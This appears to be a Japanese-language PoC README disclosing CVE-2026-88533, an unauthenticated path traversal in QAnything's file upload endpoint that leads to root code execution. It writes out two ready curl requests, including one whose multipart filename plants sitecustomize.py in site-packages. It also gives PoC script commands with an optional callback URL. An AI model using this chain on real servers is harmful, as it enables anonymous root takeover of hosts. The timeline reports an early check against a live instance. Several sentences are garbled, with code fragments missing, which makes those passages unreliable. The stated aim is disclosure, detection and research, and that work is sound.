
CVE-2026-88533 の PoC およびラボ再現。QAnything のアップロードエンドポイントにおけるパストラバーサルを悪用した、認証不要の任意ファイル書き込みによる root RCE につながる脆弱性です。
CVE ID: CVE-2026-88533 (MITRE により採番、レコード公開は保留中)
製品: netease-youdao による QAnything — オープンソースの RAG / ナレッジベース QA プラットフォーム
影響を受けるバージョン: v1.4.x から v2.0.0 まで (デフォルトブランチ qanything-v2、最終コミット 65de104 まで)
修正バージョン: なし — プロジェクトは 2025-03-12 以降メンテナンスされていない。唯一のサニタイズ修正 (PR #483) はレガシーな master ブランチに存在し、qanything-v2 にはマージされなかった
脆弱性分類: CWE-22 パストラバーサル
影響: 認証不要の任意ファイル作成 → uid=0(root) としてのリモートコード実行
発見者: Yankui Li
ファイルアップロードエンドポイント POST /api/local_doc_qa/upload_files は、攻撃者が制御可能な
マルチパートの filename を受け取り、パス区切り文字をサニタイズせずにそのまま宛先パスとして使用する。
は を に戻し、全角文字フィルタと長さの切り詰めは や絶対パスを
そのまま残し、 は 。
その結果 は、プロセスが到達可能な任意の場所に攻撃者制御のコンテンツを
書き込む — デフォルトでは コンテナ内である。
urllib.parse.unquote()%2f/../os.path.join(base, name)name が絶対パスの場合に base を完全に破棄するopen(file_location, "wb")root本製品は どこにも認証を要求しない (user_id/user_info は単なるリクエストパラメータである) ため、
ネットワークから到達可能なインスタンスはすべてこの攻撃を匿名で受け付ける。
handler.py :: upload_files
file.name ──► urllib.parse.unquote() # %2f → "/"
──► full-width char filter # cosmetic only
──► truncate_filename() # length cap, no "/" or ".." filtering
core/local_file.py :: LocalFile.__init__
file_location = os.path.join(file_dir, file_name) # absolute name → base discarded
open(file_location, "wb") # arbitrary write
この脆弱性を確実に悪用可能にする 2 つの性質がある:
../ を数える必要はない。%2e%2e%2f が生き残る。同じコードベース内の堅牢化の対比: upload_faqs エンドポイントはファイル名内の / を _ に置換している。
upload_files にはその処理が一切なく、唯一の書き込みベクターとなっている。
注: LocalFile.__init__ には if not os.path.exists(file_location) というガードがあるため、
新規ファイルのみ作成可能で、既存ファイルは上書きできない。したがって悪用は 実行可能な 場所にある
新規 ファイルを標的とする。
公式 Docker イメージは Python バックエンドを root として実行する。CPython はインタプリタ起動時に
site-packages から sitecustomize.py を自動的にインポートする — 以下の場所に新規ファイルを
ドロップすれば:
usr/local/lib/python3.10/site-packages/sitecustomize.py
(7 個の ../ による相対パス、または絶対パス) 次回バックエンド起動時にインポートされ、
攻撃者コードが uid=0(root) として実行される。
なぜアプリケーションディレクトリではなく
site-packagesなのか? CPython はsys.path[0]を 挿入する前にsite.pyを実行するため、エントリスクリプトの隣にあるsitecustomize.pyは 自動インポートされない。site-packagesが唯一信頼できるドロップゾーンである。
他のベクターも検証し、除外した (完全性のために記載):
/etc/cron.d/ — ディレクトリは存在し書き込みも受け付けるが、イメージには cron デーモンが同梱されていない ため、ペイロードが実行されることはない。公式イメージ + 固定された脆弱なソース (コミット 65de104):
git clone <this-repo> && cd CVE-2026-88533
git clone https://github.com/netease-youdao/QAnything
cd QAnything && git checkout 65de104 && cd ..
docker compose -f docker-compose-lab.yaml up -d
# wait for the backend:
curl http://127.0.0.1:8777/api/health_check
PoC スクリプトは このリポジトリに同梱されている (poc_qanything_cve_2026_88533.py) — 以下の
すべての証拠項目は、上記のラボスタックに対して実行して生成されたものである。クローンして
まったく同じ出力を自分で再現してほしい:
# Step 1 — write primitive (harmless): marker written to /tmp inside the
# container via absolute-path multipart filename, then read back as proof
python poc_qanything_cve_2026_88533.py --mode check --container qanything-container-local
# Step 2 — full chain (LAB ONLY): sitecustomize.py into site-packages,
# container restart, code execution proven as uid=0(root)
python poc_qanything_cve_2026_88533.py --mode full --container qanything-container-local
# Optional out-of-band callback for network-level proof:
# ... --mode full --oob http://your-oob-endpoint/cb
--mode full は対象コンテナを一度再起動する (文書化された動作であり、CPython のインポートは
起動時に発火する)。すべては デフォルトで安全 に同梱されている: リバースシェルも破壊的な
ペイロードもない — デモペイロードは id の出力を含むマーカーファイルを書き込むだけである。
攻撃全体は 2 つの HTTP POST である。検知コンテンツがマッチすべき対象はこれである
(絶対パスや ..//%2f シーケンスを含むマルチパートの filename が鍵となるシグナルである):
# 1) anonymous knowledge base
curl -s -X POST http://TARGET:8777/api/local_doc_qa/new_knowledge_base \
-H "Content-Type: application/json" \
-d '{"user_id":"anyuser","user_info":"1234","kb_id":"KBattacker1","kb_name":"x"}'
# 2) upload: the filename IS the destination path (absolute path also works)
curl -s -X POST http://TARGET:8777/api/local_doc_qa/upload_files \
-F "user_id=anyuser" -F "kb_id=KBattacker1" -F "mode=strong" \
-F '[email protected];filename=../../../../../../../usr/local/lib/python3.10/site-packages/sitecustomize.py'
以下の証拠はすべて、docker-compose-lab.yaml から構築したラボスタックに対して実行した
poc_qanything_cve_2026_88533.py (このリポジトリ内のスクリプト) の実際のターミナル出力である。
どのステップも偽造やシミュレーションはしていない — スクリプトはすべてのチェックが成功しない限り
非ゼロで終了するため、チェーン全体を自分で検証できる。
ラボスタック — 公式イメージ + 最小限の依存関係、すべてのコンテナが正常:

--mode check — 認証不要の書き込みプリミティブを確認: マーカーは絶対パスのマルチパート
ファイル名を介してアップロードディレクトリ外に書き込まれ、コンテナ内部から読み戻された:

--mode full — コンテナ再起動後、CPython が植え付けた sitecustomize.py を自動インポートする。
ペイロードのマーカーが uid=0(root) としての実行を証明している:

上記に示した --mode full 実行の完全なターミナル記録もそのまま同梱している:
evidence/full-chain-run-2026-09-18.log —
6/6 チェック [OK]、判定 RCE CONFIRMED、ペイロードマーカーがタイムスタンプ付きで
uid=0(root) を証明している (ログ内の nonce/kb_id の値は実行ごとにランダムに生成されるため、
自分の実行では異なる — これは想定どおりである)。
CVE レコードページのスクリーンショットは、レコード公開後に追加される予定である。
| 日付 | 出来事 |
|---|---|
| 2026-08-25 | 脆弱性を発見。稼働中のインスタンスに対して書き込みプリミティブを検証 (無害なマーカー + 読み戻し) |
| 2026-08-29 | 完全な RCE チェーンを隔離されたローカルラボで再現。レポートを作成し、cveform 経由で MITRE (CNA-LR) に提出 |
| 2026-09-18 | CVE-2026-88533 が MITRE により採番 |
| 未定 | CVE レコードの公開。本リポジトリと詳細な解説の公開 |
本資料は 防御的研究および教育目的 で公開されている。所有しているシステム、またはテストの 明示的な書面による許可を得たシステムに対してのみ使用すること。DISCLAIMER.md を参照。